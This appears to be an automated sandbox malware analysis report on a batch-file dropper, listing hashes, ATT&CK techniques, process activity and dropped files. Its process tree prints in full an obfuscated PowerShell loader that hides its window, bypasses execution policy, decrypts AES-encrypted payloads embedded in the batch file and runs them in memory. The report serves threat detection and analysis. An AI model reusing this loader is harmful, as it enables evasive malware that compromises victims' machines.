4e1e20c34301d329fb9f36d346464ef839dc9619646c5f3c26d7510e9ca51811

General

Target

4ukpag0ymmbat.bat
Size

12.7MB
MD5

a6eb306f1a365c355e0db7cf5516019c
SHA1

3825d2a7c41c8c8ed6d646741ad42343d94fa5de
SHA256

4e1e20c34301d329fb9f36d346464ef839dc9619646c5f3c26d7510e9ca51811
SHA512

2ea9ffdfed9bad624e235022b011fb76bb4270c73a564ce11e130b6005cfa63b93b7d9c9931afebc213bf4ad20e493d0405a457e3a58aa84bdd5a646596d0412
SSDEEP

49152:+FgeGtxeM/etcJW4EQsw9n/udfp1V7HlAQ5uYv0JIloBhA20R0VEflHvfrM2+nxn:T

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
684	4ukpag0ymmbat.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1276	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
684	4ukpag0ymmbat.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	4ukpag0ymmbat.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1276 wrote to memory of 1136	1276	cmd.exe	28
PID 1276 wrote to memory of 1136	1276	cmd.exe	28
PID 1276 wrote to memory of 1136	1276	cmd.exe	28
PID 1136 wrote to memory of 1684	1136	net.exe	29
PID 1136 wrote to memory of 1684	1136	net.exe	29
PID 1136 wrote to memory of 1684	1136	net.exe	29
PID 1276 wrote to memory of 684	1276	cmd.exe	30
PID 1276 wrote to memory of 684	1276	cmd.exe	30
PID 1276 wrote to memory of 684	1276	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4ukpag0ymmbat.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1276
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1684
- C:\Users\Admin\AppData\Local\Temp\4ukpag0ymmbat.bat.exe
  "4ukpag0ymmbat.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function xKuue($cvXZS){ $uAvyf=[System.Security.Cryptography.Aes]::Create(); $uAvyf.Mode=[System.Security.Cryptography.CipherMode]::CBC; $uAvyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $uAvyf.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BCNQP2V2g5QVJ+KYVXfbsOlqSGQcI7crsDEaoGOxGzg='); $uAvyf.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8ezLrKD7ICNHucbi81JBAw=='); $LsnFR=$uAvyf.CreateDecryptor(); $return_var=$LsnFR.TransformFinalBlock($cvXZS, 0, $cvXZS.Length); $LsnFR.Dispose(); $uAvyf.Dispose(); $return_var;}function TNAcr($cvXZS){ $BWAiv=New-Object System.IO.MemoryStream(,$cvXZS); $nGKHJ=New-Object System.IO.MemoryStream; $QAMUv=New-Object System.IO.Compression.GZipStream($BWAiv, [IO.Compression.CompressionMode]::Decompress); $QAMUv.CopyTo($nGKHJ); $QAMUv.Dispose(); $BWAiv.Dispose(); $nGKHJ.Dispose(); $nGKHJ.ToArray();}function Zcsld($cvXZS,$XETSX){ $OMpUu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$cvXZS); $OBqgH=$OMpUu.EntryPoint; $OBqgH.Invoke($null, $XETSX);}$CQwfD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\4ukpag0ymmbat.bat').Split([Environment]::NewLine);foreach ($LuQZM in $CQwfD) { if ($LuQZM.StartsWith(':: ')) { $pRzKy=$LuQZM.Substring(4); break; }}$ZGtBs=[string[]]$pRzKy.Split('\');$RIKPL=TNAcr (xKuue ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZGtBs[0])));$mHTWH=TNAcr (xKuue ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZGtBs[1])));Zcsld $mHTWH (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Zcsld $RIKPL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4ukpag0ymmbat.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\4ukpag0ymmbat.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/684-61-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/684-62-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/684-63-0x00000000026F4000-0x00000000026F7000-memory.dmp

Filesize
12KB

Download
memory/684-64-0x00000000026FB000-0x0000000002732000-memory.dmp

Filesize
220KB

Download

Analysis

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